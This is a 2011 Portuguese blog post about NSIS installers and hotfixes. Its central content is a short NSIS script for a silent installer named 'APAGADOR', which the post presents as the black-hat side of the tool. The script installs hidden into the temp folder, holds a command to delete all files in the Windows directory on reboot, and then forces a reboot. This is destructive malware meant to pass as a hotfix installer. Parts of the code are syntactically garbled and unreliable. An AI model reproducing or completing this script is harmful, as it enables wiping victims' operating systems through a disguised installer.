sexta-feira, 1 de julho de 2011

(BLACK HAT E WHITE HAT ) OS DOIS LADOS

          Há uns meses atrás eu elaborei a prova do curso Anthacker do site invasão, espero que tenham gostado todos os que fizeram .Eu falei da palavra “hotfix” que era um correção do sistema.
Hotfix em sua definição é uma correção, ou tapa buraco do sistema. que precisa ser instalado a partir do sistema já rodando em sua máquina.
Para construir esse tipo de executável temos algumas ferramentas como:Astrum InstallWizard,NSIS e outros
         FALANDO UM POUCO DO NSIS
O NSIS:
NSIS - Nullsoft Scriptable Install System é um aplicativo que tem como objetivo principal auxiliar o desenvolvedor a criar um instalador rápido. São feitos a partir de um arquivo compactado. Portanto, o ideal é pré-definir o modo como você deseja que as pastas e arquivos do seu programa serão posicionados em cada pasta, para depois compactar tudo em um só arquivo. Outro importante fator ao criar o instalador é escolher uma pasta de destino. pois caso você não defina uma pasta comum, o programa irá utilizar a mesma pasta em que está localizado seu arquivo compactado.
/* isso faz com que você possa direcionar o seu instalador para alguma pasta dando -lhe controle sobre o hospedeiro */
Esta ferramenta foi desenvolvida para facilitar a vida programadores mas como tudo na visa tem dois lados:


! define PRODUCT_NAME “APAGADOR”
//nome do programa
! define PRODUCT_VERSION “destruidor”
//gostaram do nome da versão
! define PRODUCT_PUBLICIDADE “RedesInVeia”
//gostaram do jabá
set compressor 1zma
Name “${ PRODUCT_NAME} ${ PRODUCT_VERSÃO}
outfile “RedesInVeia.exe”
//saida do programa
InstallDir “$temp”
//usando a variavel temp para a instalação
Icon “${REDESINVEIA} \diretorio\onde \vai ser \instalado.ico”
SilentInstall silent
//gera um instalador oculto para o a variavel $REDESINVEIA
section “sec001” sec01
// onde podemos alterar o registro , fazer instalações ,autoexecutaveis
/*Temos um comando que é muito utilizado por crackers (não harckers)
Delete /REBOOTOK “$WINDIR\ *.*” */
SectionEnd
Section -post
reboot
SectionEnd
//não vou falar em que tipo de extensão deve ser salvo.(precaução)


“-Acho que não preciso falar mais nada !!!”
"Mais poderoso ainda aquele que sabe usar o conhecimento."



Ao leitor:
Sentindo a necessidade de perguntar algo pergunte no fórum
Abraço a todos
Márcio Gomes

Nenhum comentário:

Postar um comentário